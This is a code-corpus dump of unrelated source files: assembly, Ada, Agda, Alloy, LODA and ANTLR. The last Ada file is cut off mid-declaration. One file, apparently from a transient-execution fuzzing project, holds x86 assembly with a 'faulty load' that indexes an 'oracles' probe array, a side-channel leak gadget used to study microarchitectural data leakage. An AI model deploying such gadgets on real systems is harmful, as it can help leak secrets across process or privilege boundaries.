.word @song332restored_2
|
libsrc/_DEVELOPMENT/stdlib/c/sccz80/labs.asm | jpoikela/z88dk | 640 | 165937 |
; long labs(long j)
SECTION code_clib
SECTION code_stdlib
PUBLIC labs
EXTERN asm_labs
defc labs = asm_labs
; SDCC bridge for Classic
IF __CLASSIC
PUBLIC _labs
defc _labs = labs
ENDIF
|
gcc-gcc-7_3_0-release/gcc/testsuite/gnat.dg/trampoline1.adb | best08618/asylo | 7 | 19357 | -- { dg-do compile }
-- { dg-options "-gnatws" }
with System; use System;
procedure Trampoline1 is
A : Integer;
function F (I : Integer) return Integer is
begin
return A + I;
end F;
CA : System.Address := F'Code_Address;
begin
if CA = System.Null_Address then
raise Program_Error;
end if;
end;
-- { dg-final { scan-assembler-not "GNU-stack.*x" } }
|
programs/oeis/004/A004728.asm | neoneye/loda | 22 | 102936 | <reponame>neoneye/loda<gh_stars>10-100
; A004728: Delete all 9's from the sequence of nonnegative integers.
; 0,1,2,3,4,5,6,7,8,10,11,12,13,14,15,16,17,18,1,20,21,22,23,24,25,26,27,28,2,30,31,32,33,34,35,36,37,38,3,40,41,42,43,44,45,46,47,48,4,50,51,52,53,54,55,56,57,58,5,60,61,62,63,64,65,66,67,68,6,70,71
mov $1,1
add $1,$0
mov $2,$0
mov $3,$0
lpb $2
mov $0,$1
lpb $3
mov $1,$3
gcd $1,$0
add $1,$0
lpb $1
dif $1,10
lpe
mov $3,8
lpe
mov $2,0
lpe
sub $1,1
mov $0,$1
|
oeis/076/A076662.asm | neoneye/loda-programs | 11 | 4710 | <filename>oeis/076/A076662.asm
; A076662: First differences of A007066.
; Submitted by <NAME>
; 3,3,2,3,3,2,3,2,3,3,2,3,3,2,3,2,3,3,2,3,2,3,3,2,3,3,2,3,2,3,3,2,3,3,2,3,2,3,3,2,3,2,3,3,2,3,3,2,3,2,3,3,2,3,2,3,3,2,3,3,2,3,2,3,3,2,3,3,2,3,2,3,3,2,3,2,3,3,2,3,3,2,3,2,3,3,2,3,3,2,3,2,3,3,2,3,2,3,3,2
trn $0,1
seq $0,35612 ; Horizontal para-Fibonacci sequence: says which column of Wythoff array (starting column count at 1) contains n.
mod $0,2
add $0,2
|
alloy4fun_models/trashltl/models/15/TNBxQ2JBp3QzBD4wN.als | Kaixi26/org.alloytools.alloy | 0 | 464 | open main
pred idTNBxQ2JBp3QzBD4wN_prop16 {
historically all f:File | f in Protected implies f in Protected
}
pred __repair { idTNBxQ2JBp3QzBD4wN_prop16 }
check __repair { idTNBxQ2JBp3QzBD4wN_prop16 <=> prop16o } |
src/GBA.DMA.ads | 98devin/ada-gba-dev | 7 | 12067 | -- Copyright (c) 2021 <NAME>
-- zlib License -- see LICENSE for details.
with GBA.Memory;
use GBA.Memory;
with GBA.Memory.IO_Registers;
package GBA.DMA is
type Dest_Address_Adjustment is
( Increment
, Decrement
, Fixed
, Increment_And_Reset
);
for Dest_Address_Adjustment use
( Increment => 0
, Decrement => 1
, Fixed => 2
, Increment_And_Reset => 3
);
type Source_Address_Adjustment is
( Increment
, Decrement
, Fixed
);
for Source_Address_Adjustment use
( Increment => 0
, Decrement => 1
, Fixed => 2
);
type Unit_Size is
( Half_Word -- 16 bits
, Word -- 32 bits
);
for Unit_Size use
( Half_Word => 0
, Word => 1
);
type Timing_Mode is
( Start_Immediately
, Start_At_VBlank
, Start_At_HBlank
);
for Timing_Mode use
( Start_Immediately => 0
, Start_At_VBlank => 1
, Start_At_HBlank => 2
);
type Transfer_Count_Type is mod 2**15;
type Transfer_Info is
record
Transfer_Count : Transfer_Count_Type;
Dest_Adjustment : Dest_Address_Adjustment;
Source_Adjustment : Source_Address_Adjustment;
Repeat : Boolean;
Copy_Unit_Size : Unit_Size;
Timing : Timing_Mode;
Enable_Interrupt : Boolean;
Enabled : Boolean;
end record
with Size => 32;
for Transfer_Info use
record
Transfer_Count at 0 range 16#00# .. 16#0F#;
Dest_Adjustment at 0 range 16#15# .. 16#16#;
Source_Adjustment at 0 range 16#17# .. 16#18#;
Repeat at 0 range 16#19# .. 16#19#;
Copy_Unit_Size at 0 range 16#1A# .. 16#1A#;
Timing at 0 range 16#1C# .. 16#1D#;
Enable_Interrupt at 0 range 16#1E# .. 16#1E#;
Enabled at 0 range 16#1F# .. 16#1F#;
end record;
type Channel_Info is limited
record
Source : Address with Volatile;
Dest : Address with Volatile;
DMA_Info : Transfer_Info with Volatile;
end record
with Size => 96;
for Channel_Info use
record
Source at 0 range 0 .. 31;
Dest at 4 range 0 .. 31;
DMA_Info at 8 range 0 .. 31;
end record;
type Channel_ID is range 0 .. 3;
-- Basic access to structured DMA info --
use GBA.Memory.IO_Registers;
Channel_Addresses : constant array (Channel_ID) of Address :=
( 0 => DMA0SAD
, 1 => DMA1SAD
, 2 => DMA2SAD
, 3 => DMA3SAD
);
DMA_Channel_0 : Channel_Info
with Import, Address => Channel_Addresses (0);
DMA_Channel_1 : Channel_Info
with Import, Address => Channel_Addresses (1);
DMA_Channel_2 : Channel_Info
with Import, Address => Channel_Addresses (2);
DMA_Channel_3 : Channel_Info
with Import, Address => Channel_Addresses (3);
Channel_Array_View : array (Channel_ID) of Channel_Info
with Import, Address => DMA0SAD;
-- Most basic DMA interface routines --
procedure Setup_DMA_Transfer
( Channel : Channel_ID;
Source, Dest : Address;
Info : Transfer_Info )
with Inline_Always;
function Is_Transfer_Ongoing
( Channel : Channel_ID ) return Boolean
with Inline_Always;
procedure Stop_Ongoing_Transfer
( Channel : Channel_ID )
with Inline_Always;
end GBA.DMA; |
src/Algebra/Linear/Structures/Bundles/FiniteDimensional.agda | felko/linear-algebra | 15 | 15903 | <reponame>felko/linear-algebra<filename>src/Algebra/Linear/Structures/Bundles/FiniteDimensional.agda
{-# OPTIONS --without-K --safe #-}
module Algebra.Linear.Structures.Bundles.FiniteDimensional where
open import Algebra
open import Algebra.FunctionProperties
open import Relation.Binary using (Rel)
open import Level using (Level; suc; _⊔_)
open import Algebra.Structures.Bundles.Field
open import Algebra.Linear.Structures.Bundles
open import Algebra.Linear.Structures.VectorSpace
open import Algebra.Linear.Structures.FiniteDimensional
open import Data.Nat using (ℕ)
record FiniteDimensional {k ℓᵏ} (K : Field k ℓᵏ) (c ℓ : Level) (n : ℕ) : Set (suc (c ⊔ k ⊔ ℓ ⊔ ℓᵏ)) where
field
Carrier : Set c
_≈_ : Rel Carrier ℓ
_+_ : Carrier -> Carrier -> Carrier
_∙_ : Field.Carrier K -> Carrier -> Carrier
-_ : Carrier -> Carrier
0# : Carrier
isFiniteDimensional : IsFiniteDimensional K _≈_ _+_ _∙_ -_ 0# n
open IsFiniteDimensional isFiniteDimensional public
vectorSpace : VectorSpace K c ℓ
vectorSpace = record { isVectorSpace = isVectorSpace }
|
BitEpicness/TestInterupts2.asm | davidov541/BitEpicness | 0 | 91924 | move $s0, $0
infinite: j infinite
nop
nop
nop
nop
nop
rp $t0, 2
add $s0, $t0
move $s0, $rr
wp $s0, 0
mfc0 $t0, $epc
jr $t0 |
fastmodel-parser/src/main/antlr4/imports/ImpExpParser.g4 | alibaba/fast-modeling-language | 9 | 5557 | parser grammar ImpExpParser;
impExpStatements:
exportStatement
;
exportStatement
: (KW_EXP | KW_EXPORT) exportBusinessUnit? exportOutput exportTarget? KW_WHERE expression
;
exportOutput
: KW_OUTPUT EQUAL string
;
exportBusinessUnit
: identifier
;
exportTarget
: KW_TARGET EQUAL string
;
|
oeis/349/A349905.asm | neoneye/loda-programs | 11 | 169319 | ; A349905: Arithmetic derivative of A003961(n), where A003961 is fully multiplicative with a(p) = nextprime(p).
; Submitted by <NAME>(s2)
; 0,1,1,6,1,8,1,27,10,10,1,39,1,14,12,108,1,55,1,51,16,16,1,162,14,20,75,75,1,71,1,405,18,22,18,240,1,26,22,216,1,103,1,87,95,32,1,621,22,91,24,111,1,350,20,324,28,34,1,318,1,40,135,1458,24,119,1,123,34,131,1,945,1,44,119,147,24,151,1,837,500,46,1,474,26,50,36,378,1,460,28,183,42,56,30,2268,1,187,155,420
seq $0,3961 ; Completely multiplicative with a(prime(k)) = prime(k+1).
seq $0,3415 ; a(n) = n' = arithmetic derivative of n: a(0) = a(1) = 0, a(prime) = 1, a(mn) = m*a(n) + n*a(m).
|
alloy4fun_models/trashltl/models/11/jtwSmZpgPsq9Hj5vM.als | Kaixi26/org.alloytools.alloy | 0 | 4145 | <gh_stars>0
open main
pred idjtwSmZpgPsq9Hj5vM_prop12 {
all f : File | eventually f in Trash => eventually f not in Trash
}
pred __repair { idjtwSmZpgPsq9Hj5vM_prop12 }
check __repair { idjtwSmZpgPsq9Hj5vM_prop12 <=> prop12o } |
test/asset/agda-stdlib-1.0/Data/These.agda | omega12345/agda-mode | 0 | 9243 | <filename>test/asset/agda-stdlib-1.0/Data/These.agda
------------------------------------------------------------------------
-- The Agda standard library
--
-- An either-or-both data type
------------------------------------------------------------------------
{-# OPTIONS --without-K --safe #-}
module Data.These where
open import Level
open import Data.Sum.Base using (_⊎_; [_,_]′)
open import Function
data These {a b} (A : Set a) (B : Set b) : Set (a ⊔ b) where
this : A → These A B
that : B → These A B
these : A → B → These A B
module _ {a b} {A : Set a} {B : Set b} where
fromSum : A ⊎ B → These A B
fromSum = [ this , that ]′
-- map
map : ∀ {a₁ a₂ b₁ b₂} {A₁ : Set a₁} {A₂ : Set a₂} {B₁ : Set b₁} {B₂ : Set b₂}
(f : A₁ → A₂) (g : B₁ → B₂) → These A₁ B₁ → These A₂ B₂
map f g (this a) = this (f a)
map f g (that b) = that (g b)
map f g (these a b) = these (f a) (g b)
map₁ : ∀ {a₁ a₂ b} {A₁ : Set a₁} {A₂ : Set a₂} {B : Set b}
(f : A₁ → A₂) → These A₁ B → These A₂ B
map₁ f = map f id
map₂ : ∀ {a b₁ b₂} {A : Set a} {B₁ : Set b₁} {B₂ : Set b₂}
(g : B₁ → B₂) → These A B₁ → These A B₂
map₂ = map id
module _ {a b} {A : Set a} {B : Set b} where
-- fold
fold : ∀ {c} {C : Set c} → (A → C) → (B → C) → (A → B → C) → These A B → C
fold l r lr (this a) = l a
fold l r lr (that b) = r b
fold l r lr (these a b) = lr a b
-- swap
swap : These A B → These B A
swap = fold that this (flip these)
-- align
module _ {a b c d} {A : Set a} {B : Set b} {C : Set c} {D : Set d} where
alignWith : ∀ {e f} {E : Set e} {F : Set f} →
(These A C → E) → (These B D → F) → These A B → These C D → These E F
alignWith f g (this a) (this c) = this (f (these a c))
alignWith f g (this a) (that d) = these (f (this a)) (g (that d))
alignWith f g (this a) (these c d) = these (f (these a c)) (g (that d))
alignWith f g (that b) (this c) = these (f (that c)) (g (this b))
alignWith f g (that b) (that d) = that (g (these b d))
alignWith f g (that b) (these c d) = these (f (that c)) (g (these b d))
alignWith f g (these a b) (this c) = these (f (these a c)) (g (this b))
alignWith f g (these a b) (that d) = these (f (this a)) (g (these b d))
alignWith f g (these a b) (these c d) = these (f (these a c)) (g (these b d))
align : These A B → These C D → These (These A C) (These B D)
align = alignWith id id
module _ {a} {A : Set a} where
-- Projections.
leftMost : These A A → A
leftMost = fold id id const
rightMost : These A A → A
rightMost = fold id id (flip const)
mergeThese : (A → A → A) → These A A → A
mergeThese = fold id id
|
Transynther/x86/_processed/US/_st_/i7-7700_9_0x48.log_15229_1714.asm | ljhsiun2/medusa | 9 | 166948 | .global s_prepare_buffers
s_prepare_buffers:
push %r10
push %r12
push %r8
push %rax
push %rbp
push %rcx
push %rdi
push %rsi
lea addresses_WT_ht+0x1e3f2, %rsi
lea addresses_normal_ht+0x12a9e, %rdi
nop
nop
xor %r10, %r10
mov $80, %rcx
rep movsq
nop
nop
nop
nop
nop
sub $38556, %rbp
lea addresses_normal_ht+0xd492, %r10
add %rax, %rax
movb (%r10), %r12b
nop
nop
nop
nop
nop
cmp %rdi, %rdi
lea addresses_UC_ht+0xd3a2, %rsi
lea addresses_WT_ht+0x6c32, %rdi
cmp $13870, %r8
mov $41, %rcx
rep movsw
nop
add $6871, %r12
lea addresses_UC_ht+0x1b1f2, %rsi
nop
nop
nop
nop
nop
xor %rax, %rax
mov $0x6162636465666768, %r10
movq %r10, %xmm4
and $0xffffffffffffffc0, %rsi
movaps %xmm4, (%rsi)
nop
and %r8, %r8
lea addresses_WC_ht+0x169f2, %rsi
lea addresses_UC_ht+0x12cb5, %rdi
nop
inc %r12
mov $42, %rcx
rep movsb
nop
nop
nop
nop
xor $13566, %rax
lea addresses_WT_ht+0xc1f2, %rcx
clflush (%rcx)
nop
nop
nop
and %r12, %r12
mov (%rcx), %r8d
nop
nop
nop
nop
nop
sub $19232, %r12
lea addresses_WT_ht+0x104f2, %rsi
lea addresses_WT_ht+0x15cf2, %rdi
nop
nop
dec %r10
mov $4, %rcx
rep movsb
nop
nop
nop
sub $56247, %rbp
lea addresses_A_ht+0x176b2, %rsi
lea addresses_WT_ht+0x1a172, %rdi
clflush (%rsi)
nop
inc %rbp
mov $125, %rcx
rep movsq
nop
nop
add $62653, %rcx
lea addresses_D_ht+0x87f2, %rsi
lea addresses_WC_ht+0x59f2, %rdi
nop
nop
nop
and %r12, %r12
mov $78, %rcx
rep movsw
nop
nop
nop
xor $60833, %rsi
lea addresses_UC_ht+0x1c57, %rdi
nop
dec %rsi
movb (%rdi), %r12b
nop
nop
nop
nop
and %rsi, %rsi
lea addresses_WT_ht+0x1c1f2, %rsi
add %r10, %r10
movb $0x61, (%rsi)
nop
nop
nop
sub %r10, %r10
lea addresses_WT_ht+0x27f4, %rcx
nop
nop
nop
nop
nop
and %rdi, %rdi
movl $0x61626364, (%rcx)
nop
nop
nop
nop
and %rax, %rax
lea addresses_WT_ht+0x1d1a5, %rbp
nop
inc %r8
mov (%rbp), %eax
nop
nop
nop
nop
and $789, %r8
pop %rsi
pop %rdi
pop %rcx
pop %rbp
pop %rax
pop %r8
pop %r12
pop %r10
ret
.global s_faulty_load
s_faulty_load:
push %r10
push %r11
push %r14
push %r9
push %rax
push %rbp
push %rdi
// Load
lea addresses_US+0x1da7a, %r10
nop
nop
dec %r9
vmovups (%r10), %ymm1
vextracti128 $0, %ymm1, %xmm1
vpextrq $1, %xmm1, %r14
nop
nop
nop
nop
nop
xor $39917, %r10
// Store
lea addresses_US+0x49f2, %rbp
nop
nop
nop
nop
nop
add %r11, %r11
movw $0x5152, (%rbp)
nop
nop
nop
nop
sub %r11, %r11
// Store
lea addresses_normal+0xd3de, %r11
nop
nop
nop
nop
add $8953, %rax
mov $0x5152535455565758, %r14
movq %r14, (%r11)
add %rax, %rax
// Load
lea addresses_normal+0x89f2, %r11
nop
nop
nop
nop
add %rax, %rax
mov (%r11), %r10w
nop
and %rdi, %rdi
// Store
lea addresses_normal+0xb5f2, %r10
nop
dec %rax
movl $0x51525354, (%r10)
nop
nop
and %r10, %r10
// Store
lea addresses_WT+0x11f2, %r10
nop
nop
add %rdi, %rdi
movl $0x51525354, (%r10)
nop
nop
nop
nop
and $1412, %r9
// Store
lea addresses_normal+0xbdf2, %r10
nop
and $36994, %rax
movl $0x51525354, (%r10)
nop
inc %rdi
// Store
lea addresses_WC+0x1fdf2, %r14
nop
cmp $29397, %rdi
movw $0x5152, (%r14)
nop
nop
add %rdi, %rdi
// Store
lea addresses_WC+0x141f2, %r14
add %r11, %r11
movw $0x5152, (%r14)
cmp $14207, %rdi
// Faulty Load
lea addresses_US+0x1a9f2, %r10
nop
nop
nop
xor %r14, %r14
movb (%r10), %r11b
lea oracles, %rbp
and $0xff, %r11
shlq $12, %r11
mov (%rbp,%r11,1), %r11
pop %rdi
pop %rbp
pop %rax
pop %r9
pop %r14
pop %r11
pop %r10
ret
/*
<gen_faulty_load>
[REF]
{'OP': 'LOAD', 'src': {'type': 'addresses_US', 'AVXalign': True, 'congruent': 0, 'size': 4, 'same': False, 'NT': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_US', 'AVXalign': False, 'congruent': 3, 'size': 32, 'same': False, 'NT': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_US', 'AVXalign': False, 'congruent': 9, 'size': 2, 'same': False, 'NT': True}}
{'OP': 'STOR', 'dst': {'type': 'addresses_normal', 'AVXalign': False, 'congruent': 2, 'size': 8, 'same': False, 'NT': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_normal', 'AVXalign': False, 'congruent': 11, 'size': 2, 'same': False, 'NT': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_normal', 'AVXalign': False, 'congruent': 10, 'size': 4, 'same': False, 'NT': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_WT', 'AVXalign': False, 'congruent': 10, 'size': 4, 'same': False, 'NT': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_normal', 'AVXalign': False, 'congruent': 10, 'size': 4, 'same': False, 'NT': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_WC', 'AVXalign': False, 'congruent': 10, 'size': 2, 'same': False, 'NT': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_WC', 'AVXalign': False, 'congruent': 9, 'size': 2, 'same': False, 'NT': False}}
[Faulty Load]
{'OP': 'LOAD', 'src': {'type': 'addresses_US', 'AVXalign': False, 'congruent': 0, 'size': 1, 'same': True, 'NT': False}}
<gen_prepare_buffer>
{'OP': 'REPM', 'src': {'type': 'addresses_WT_ht', 'congruent': 9, 'same': False}, 'dst': {'type': 'addresses_normal_ht', 'congruent': 2, 'same': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_normal_ht', 'AVXalign': False, 'congruent': 5, 'size': 1, 'same': False, 'NT': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_UC_ht', 'congruent': 1, 'same': False}, 'dst': {'type': 'addresses_WT_ht', 'congruent': 5, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_UC_ht', 'AVXalign': True, 'congruent': 10, 'size': 16, 'same': False, 'NT': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_WC_ht', 'congruent': 11, 'same': False}, 'dst': {'type': 'addresses_UC_ht', 'congruent': 0, 'same': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_WT_ht', 'AVXalign': False, 'congruent': 10, 'size': 4, 'same': True, 'NT': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_WT_ht', 'congruent': 8, 'same': False}, 'dst': {'type': 'addresses_WT_ht', 'congruent': 8, 'same': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_A_ht', 'congruent': 4, 'same': False}, 'dst': {'type': 'addresses_WT_ht', 'congruent': 7, 'same': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_D_ht', 'congruent': 9, 'same': False}, 'dst': {'type': 'addresses_WC_ht', 'congruent': 11, 'same': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_UC_ht', 'AVXalign': False, 'congruent': 0, 'size': 1, 'same': False, 'NT': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_WT_ht', 'AVXalign': False, 'congruent': 11, 'size': 1, 'same': False, 'NT': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_WT_ht', 'AVXalign': False, 'congruent': 1, 'size': 4, 'same': False, 'NT': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_WT_ht', 'AVXalign': True, 'congruent': 0, 'size': 4, 'same': True, 'NT': False}}
{'52': 15229}
52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52
*/
|
Working Disassembly/Levels/LBZ/Misc Object Data/Map - Flame Thrower.asm | TeamASM-Blur/Sonic-3-Blue-Balls-Edition | 5 | 94154 | <filename>Working Disassembly/Levels/LBZ/Misc Object Data/Map - Flame Thrower.asm
Map_22544E: dc.w Frame_225460-Map_22544E ; ...
dc.w Frame_225468-Map_22544E
dc.w Frame_225476-Map_22544E
dc.w Frame_225490-Map_22544E
dc.w Frame_2254B6-Map_22544E
dc.w Frame_2254DC-Map_22544E
dc.w Frame_225502-Map_22544E
dc.w Frame_225528-Map_22544E
dc.w Frame_225542-Map_22544E
Frame_225460: dc.w 1
dc.b $F0, $F, 8,$3B,$FF,$F0
Frame_225468: dc.w 2
dc.b $FC, 4, 0,$4B,$FF,$D0
dc.b $FC, 4, 0,$4D,$FF,$E0
Frame_225476: dc.w 4
dc.b $FC, 4, 0,$4D,$FF,$D0
dc.b $FC, 4, 0,$4F,$FF,$E0
dc.b $FC, 4, 0,$51,$FF,$F0
dc.b $F8, 5, 0,$57, 0, 0
Frame_225490: dc.w 6
dc.b $FC, 4, 0,$4B,$FF,$D0
dc.b $FC, 4, 0,$4D,$FF,$E0
dc.b $FC, 4, 0,$4F,$FF,$F0
dc.b $FC, 4, 0,$51, 0, 0
dc.b $F8, 5, 0,$53, 0,$10
dc.b $F8, 5, 0,$57, 0,$20
Frame_2254B6: dc.w 6
dc.b $FC, 4,$10,$4B,$FF,$D0
dc.b $FC, 4,$10,$4D,$FF,$E0
dc.b $FC, 4,$10,$4F,$FF,$F0
dc.b $FC, 4,$10,$51, 0, 0
dc.b $F8, 5,$10,$53, 0,$10
dc.b $F8, 5,$10,$57, 0,$20
Frame_2254DC: dc.w 6
dc.b $FC, 4, 0,$4D,$FF,$D0
dc.b $FC, 4, 0,$4F,$FF,$E0
dc.b $FC, 4, 0,$51,$FF,$F0
dc.b $F8, 5, 0,$53, 0, 0
dc.b $F8, 5,$18,$53, 0,$10
dc.b $F8, 5, 0,$5B, 0,$20
Frame_225502: dc.w 6
dc.b $FC, 4,$10,$4D,$FF,$D0
dc.b $FC, 4,$10,$4F,$FF,$E0
dc.b $FC, 4,$10,$51,$FF,$F0
dc.b $F8, 5,$10,$53, 0, 0
dc.b $F8, 5, 8,$53, 0,$10
dc.b $F8, 5,$10,$5B, 0,$20
Frame_225528: dc.w 4
dc.b $FC, 4, 0,$4B,$FF,$F0
dc.b $FC, 4, 0,$4D, 0, 0
dc.b $FC, 4, 0,$4F, 0,$10
dc.b $F8, 5, 0,$5B, 0,$20
Frame_225542: dc.w 2
dc.b $FC, 4, 0,$4B, 0,$10
dc.b $FC, 4, 0,$5F, 0,$20
|
src/arch/socs/stm32f439/Ada/soc-dma-interfaces.ads | wookey-project/ewok-legacy | 0 | 8940 | --
-- Copyright 2018 The wookey project team <<EMAIL>>
-- - <NAME>
-- - <NAME>
-- - Mathieu Renard
-- - <NAME>
-- - <NAME>
--
-- Licensed under the Apache License, Version 2.0 (the "License");
-- you may not use this file except in compliance with the License.
-- You may obtain a copy of the License at
--
-- http://www.apache.org/licenses/LICENSE-2.0
--
-- Unless required by applicable law or agreed to in writing, software
-- distributed under the License is distributed on an "AS IS" BASIS,
-- WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-- See the License for the specific language governing permissions and
-- limitations under the License.
--
--
package soc.dma.interfaces
with spark_mode => off
is
type t_dma_interrupts is
(FIFO_ERROR, DIRECT_MODE_ERROR, TRANSFER_ERROR,
HALF_COMPLETE, TRANSFER_COMPLETE);
type t_config_mask is record
handlers : boolean;
buffer_in : boolean;
buffer_out : boolean;
buffer_size : boolean;
mode : boolean;
priority : boolean;
direction : boolean;
end record;
for t_config_mask use record
handlers at 0 range 0 .. 0;
buffer_in at 0 range 1 .. 1;
buffer_out at 0 range 2 .. 2;
buffer_size at 0 range 3 .. 3;
mode at 0 range 4 .. 4;
priority at 0 range 5 .. 5;
direction at 0 range 6 .. 6;
end record;
type t_mode is (DIRECT_MODE, FIFO_MODE, CIRCULAR_MODE);
type t_transfer_dir is
(PERIPHERAL_TO_MEMORY, MEMORY_TO_PERIPHERAL, MEMORY_TO_MEMORY);
type t_priority_level is (LOW, MEDIUM, HIGH, VERY_HIGH);
type t_data_size is (TRANSFER_BYTE, TRANSFER_HALF_WORD, TRANSFER_WORD);
type t_burst_size is
(SINGLE_TRANSFER, INCR_4_BEATS, INCR_8_BEATS, INCR_16_BEATS);
type t_flow_controller is (DMA_FLOW_CONTROLLER, PERIPH_FLOW_CONTROLLER);
type t_dma_config is record
dma_id : soc.dma.t_dma_periph_index;
stream : soc.dma.t_stream_index;
channel : soc.dma.t_channel_index;
bytes : unsigned_16;
in_addr : system_address;
in_priority : t_priority_level;
in_handler : system_address; -- ISR
out_addr : system_address;
out_priority : t_priority_level;
out_handler : system_address; -- ISR
flow_controller : t_flow_controller;
transfer_dir : t_transfer_dir;
mode : t_mode;
data_size : t_data_size;
memory_inc : boolean;
periph_inc : boolean;
mem_burst_size : t_burst_size;
periph_burst_size : t_burst_size;
end record;
procedure enable_stream
(dma_id : in soc.dma.t_dma_periph_index;
stream : in soc.dma.t_stream_index);
procedure disable_stream
(dma_id : in soc.dma.t_dma_periph_index;
stream : in soc.dma.t_stream_index);
procedure clear_interrupt
(dma_id : in soc.dma.t_dma_periph_index;
stream : in soc.dma.t_stream_index;
interrupt : in t_dma_interrupts);
procedure clear_all_interrupts
(dma_id : in soc.dma.t_dma_periph_index;
stream : in soc.dma.t_stream_index);
function get_interrupt_status
(dma_id : in soc.dma.t_dma_periph_index;
stream : in soc.dma.t_stream_index)
return t_dma_stream_int_status;
procedure configure_stream
(dma_id : in soc.dma.t_dma_periph_index;
stream : in soc.dma.t_stream_index;
user_config : in t_dma_config);
procedure reconfigure_stream
(dma_id : in soc.dma.t_dma_periph_index;
stream : in soc.dma.t_stream_index;
user_config : in t_dma_config;
to_configure: in t_config_mask);
procedure reset_stream
(dma_id : in soc.dma.t_dma_periph_index;
stream : in soc.dma.t_stream_index);
end soc.dma.interfaces;
|
source/s-unwhan.ads | ytomino/drake | 33 | 21823 | pragma License (Unrestricted);
-- runtime unit
with System.Unwind.Representation;
package System.Unwind.Handling is
pragma Preelaborate;
-- hook for entering an exception handler (a-exexpr-gcc.adb)
procedure Begin_Handler (
Machine_Occurrence : Representation.Machine_Occurrence_Access)
with Export, Convention => C, External_Name => "__gnat_begin_handler";
-- hook for leaving an exception handler (a-exexpr-gcc.adb)
procedure End_Handler (
